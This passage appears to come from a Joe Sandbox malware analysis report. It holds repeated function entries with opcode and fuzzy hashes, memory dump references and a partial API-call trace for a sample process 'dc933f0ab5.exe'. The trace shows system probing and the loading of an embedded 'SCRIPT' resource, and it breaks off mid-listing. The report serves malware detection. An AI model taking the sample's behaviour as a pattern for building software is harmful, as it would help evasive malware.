Instruction ID: 5ec8aab75b4eda94c5f0132277dcea26c565584ec7c17bfd0457a5bba5d72a3f
Opcode Fuzzy Hash: 9cdcc8e54ffe658da3cda5d88110e9ddaface5105d3080e9fe696f2def6659de
Instruction Fuzzy Hash: 193134F7F526210BF35448B8DD98392548397D5324F2F83788F6867AC5DCBD490A0284

Function 05E31E62 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 458fffe9b37703e4c387fdd8c1b8f68dcd39cdf5edf46041ec6e9d618e69cff4
Instruction ID: d56790f585a75f2b30f810dea5725d8102238c2ada152ee33f5c2f9bb2afa9fd
Opcode Fuzzy Hash: 458fffe9b37703e4c387fdd8c1b8f68dcd39cdf5edf46041ec6e9d618e69cff4
Instruction Fuzzy Hash: 783133B3F516214BF3584839CDA9366198397A5324F2B83788F696BACACC7D4D4A4284

Function 05E3ED39 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e115d93f4909726bbbf4959daed59a5ceb32352a726c100d73525bbbb35a9be
Instruction ID: 82bc06ca58388b1c749e0a213410c6081ea87a7240b4e3c91384d3f34c010e6c
Opcode Fuzzy Hash: 2e115d93f4909726bbbf4959daed59a5ceb32352a726c100d73525bbbb35a9be
Instruction Fuzzy Hash: 48313BF3F5162547F39808B8CDA93A654829794324F1F82398F4E67BC9DCBE5D0A12C4

Function 05E42E56 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03c1cb11aa0eb835631e2cfe6868f9a704b6e0b2efe015b00e7b56765e93f70b
Instruction ID: 4cff06ac6e54eb9f5e295104d8f8faa18bc796c1cfae641354866a01a05351cf
Opcode Fuzzy Hash: 03c1cb11aa0eb835631e2cfe6868f9a704b6e0b2efe015b00e7b56765e93f70b
Instruction Fuzzy Hash: AE3125A3F6062147F3584878CD99357A582A798324F2E83398F68E7BC9CCBD8D0902C4

Function 05E18DEB Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fe28ef2e57c6148196defdfbdc214a11eaa5732de3923924ba464d8e8820e43
Instruction ID: b97f658e126a1c228a46a9b884d04581d0d824fb6bcf7e7ae7eb114110ea7414
Opcode Fuzzy Hash: 9fe28ef2e57c6148196defdfbdc214a11eaa5732de3923924ba464d8e8820e43
Instruction Fuzzy Hash: B7318EF7F1112207F3640869DD5936221829B95328F2F82399F5CBBBC5D8BE8C0A4388

Function 05E2B790 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56077e0522b6c5934c02a6500b1ef757ededbeaa81d2a23e6d3506600e197c01
Instruction ID: c94518c611fc371e21431f62b5d73e3e889a2749783edaf83c08a4809e25bfb8
Opcode Fuzzy Hash: 56077e0522b6c5934c02a6500b1ef757ededbeaa81d2a23e6d3506600e197c01
Instruction Fuzzy Hash: F13107B3F2142147F3988878CD6937659429B95321F2B823A8F4A67ACACC7D5E091284

Function 05E424F9 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf75ada48c4a2f2ca2e38be52fae662a5cab89e0f68e7aa206235ca41b2d0825
Instruction ID: dbfddc0c88fa64103082e2b72b9a13fd474275da6160e55872e323c7076fb817
Opcode Fuzzy Hash: cf75ada48c4a2f2ca2e38be52fae662a5cab89e0f68e7aa206235ca41b2d0825
Instruction Fuzzy Hash: 86212CF3E512214BF3948839CD983521583E7D1320F2FC6748AA89BBC9DC7D990A53C4

Function 05E6DF95 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85cb3d19b385200e5c7eee62c13f4f221e50111ae5ec30941020f55eeca7f7c9
Instruction ID: 8c0a91a3ab94bdc015ab932ef40ee8b41dfebae2e8146be200123f3e24d7e25c
Opcode Fuzzy Hash: 85cb3d19b385200e5c7eee62c13f4f221e50111ae5ec30941020f55eeca7f7c9
Instruction Fuzzy Hash: 9D2156B3F5152047F3A84869CD693A269439BD6311F1F82798E9C6BBC9CCBE5C0A53C0

Function 05E19196 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a59e9dea50e155e4e98642e55afff0dcd2d56d6f2603417ab3af6bd3adb2bda7
Instruction ID: b32458071d6b121e0bed37108fb8a4bac80ccde0875f4406208e055a6a4a304e
Opcode Fuzzy Hash: a59e9dea50e155e4e98642e55afff0dcd2d56d6f2603417ab3af6bd3adb2bda7
Instruction Fuzzy Hash: C72180F3E116214BF3504D79CD88362A682D791321F2F43788F68AB6C5DC7E9D054280

Function 05E63797 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f644e20a2bdb5ca16ede2fce4f6a618e38c9ece8235ffe23e87b47920c402b6c
Instruction ID: 47bb0f01f8b76f391f4fd6a68f2df48050594e2648a205397a7db07f7ab37d21
Opcode Fuzzy Hash: f644e20a2bdb5ca16ede2fce4f6a618e38c9ece8235ffe23e87b47920c402b6c
Instruction Fuzzy Hash: B1214AB7F6262547F3540C28DCA83926543A7D5324F2F82788EACAB7C5C87E9D0A13C4

Function 05E6F74A Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229e88d5454ba56472f5690201c7913d4db7727d1371812c34a4328b30385b35
Instruction ID: cb2df2108a1a006c8bb05b2735f70d516c9a981f770b3c06e9d0802e74aaaf43
Opcode Fuzzy Hash: 229e88d5454ba56472f5690201c7913d4db7727d1371812c34a4328b30385b35
Instruction Fuzzy Hash: 98216AB3F116244BF3948825CCA43A26183D7E1324F2F817D8B5A6BBC9DC3E5C065384

Function 05E6C8FB Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b6446fd0b49f6886d3fdf432827075a20ff815f408fadf5d00269a7d6908aa4
Instruction ID: 71fc9484c157ca0658f6e72e52d5c00661e92d6544c48c9a6bdea47de13ce9a3
Opcode Fuzzy Hash: 1b6446fd0b49f6886d3fdf432827075a20ff815f408fadf5d00269a7d6908aa4
Instruction Fuzzy Hash: 1C2174B3F51A2147F3488869CC663A2668387E4325F2F82798B1E5B3C6DC7E5C464288

Function 05E66110 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041b3a92f269e7d7f72a65832b9cebb85c970d2b7009409693039c3685a968a9
Instruction ID: ea3c26a3ee5b6c1691c86a03cca2bea99cdd442d1427e5498009431efb2111c5
Opcode Fuzzy Hash: 041b3a92f269e7d7f72a65832b9cebb85c970d2b7009409693039c3685a968a9
Instruction Fuzzy Hash: B62159F3F6152447F7684829CCA93B69582DBE4324F2F427E8B5A977C1ECBD48064284

Function 05E57A17 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba26a8772089c667c8378a8e77ca8726668f30b5fa7aeb0623949126ffa07b2
Instruction ID: 7fda9cded27986f90800df972ef55c2d4a8fed5b3f5ed1153f3736c8977e5228
Opcode Fuzzy Hash: aba26a8772089c667c8378a8e77ca8726668f30b5fa7aeb0623949126ffa07b2
Instruction Fuzzy Hash: 8B21AEF7F512254BF3944838DD5A3622582D7D5324F2F82388F599B7C6DC7D8D0A1284

Function 05E603BD Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27d86544cee38237843feff85b2b8235ad94a17b606249b38bbea08179c8ec66
Instruction ID: ba21ea3d23c0c7fd553a60d46f2684033c963d4e6f88391fbc84b5f75c2d611b
Opcode Fuzzy Hash: 27d86544cee38237843feff85b2b8235ad94a17b606249b38bbea08179c8ec66
Instruction Fuzzy Hash: 272107B7F115214BF39448B8C894352A182A799325F2F82788E5CAB7C5E9BE9C4A03C4

Function 05E684C4 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 890a862fb9967e96793e25325b16c976a55ca94d0daffcd2750fdeea59ea3bfe
Instruction ID: 8d23b6c297b894eba5a3cc5b861a633bf4b2e1c998ce977b8d11ddf05690848d
Opcode Fuzzy Hash: 890a862fb9967e96793e25325b16c976a55ca94d0daffcd2750fdeea59ea3bfe
Instruction Fuzzy Hash: D92190B3F5063547F3644879DD84362A543EBD5314F2B82388E5CA7BC9D87D5D0E5284

Function 05E66A35 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3296161fc0bef4e91caac799102baceb28667b3e6a7828771adde6060763ede7
Instruction ID: 9afacf005a30d8172e42ea425a527b567d6a59caa787e4395b482836b746e554
Opcode Fuzzy Hash: 3296161fc0bef4e91caac799102baceb28667b3e6a7828771adde6060763ede7
Instruction Fuzzy Hash: 45218BF7F115214BF3988878CC593B225829B95314F2F82798F5EAB7C6DC7C5D095284

Analysis Process: dc933f0ab5.exePID: 7756, Parent PID: 8168COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
Total number of Nodes:	1498
Total number of Limit Nodes:	66

Executed Functions

Function 006D42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 006D430D

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

GetCurrentProcess.KERNEL32(?,0076CB64,00000000,?,?), ref: 006D4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 006D4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 006D4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 006D4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 006D4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 006D447B
GetSystemInfo.KERNEL32(?,?,?), ref: 006D44A0

Strings

|O, xrefs: 007136F8
kernel32.dll, xrefs: 006D444F
GetNativeSystemInfo, xrefs: 006D4460

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 5e58d419d6dfeb18fa973428e244d21e4e5ef5a0b52b42e5afb7f7e9ab991676
Instruction ID: 569a3738feeeae290c9a7606aa7d775ee12e45a2e80a7a97d16c6f5d36e87631
Opcode Fuzzy Hash: 5e58d419d6dfeb18fa973428e244d21e4e5ef5a0b52b42e5afb7f7e9ab991676
Instruction Fuzzy Hash: 1AA1A465D0A2C0DFEF12CF6D78801E57FE5ABA7340F88C89AD08197B61D67C4949CB29

Function 006D42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,006D50AA,?,?,00000000,00000000), ref: 006D42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,006D50AA,?,?,00000000,00000000), ref: 006D42C9
LoadResource.KERNEL32(?,00000000,?,?,006D50AA,?,?,00000000,00000000,?,?,?,?,?,?,006D4F20), ref: 007135BE
SizeofResource.KERNEL32(?,00000000,?,?,006D50AA,?,?,00000000,00000000,?,?,?,?,?,?,006D4F20), ref: 007135D3
LockResource.KERNEL32(006D50AA,?,?,006D50AA,?,?,00000000,00000000,?,?,?,?,?,?,006D4F20,?), ref: 007135E6

Strings

SCRIPT, xrefs: 006D42BF

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 246a075dd664262b1961dfb6f7a89e26ad9afcf8139f8b6a19e43dc05d42bf46
Instruction ID: 8f7659fde18478b6f866f0df50208c0ada4bf0b7bd2b3275a48622568657523e
Opcode Fuzzy Hash: 246a075dd664262b1961dfb6f7a89e26ad9afcf8139f8b6a19e43dc05d42bf46
Instruction Fuzzy Hash: BB117C70600701BFE7228B65DC49F677BBAEFC5B51F10816AF847D6290DBB1DD008660

Function 00712BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 006D2B6B

Part of subcall function 006D3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,007A1418,?,006D2E7F,?,?,?,00000000), ref: 006D3A78

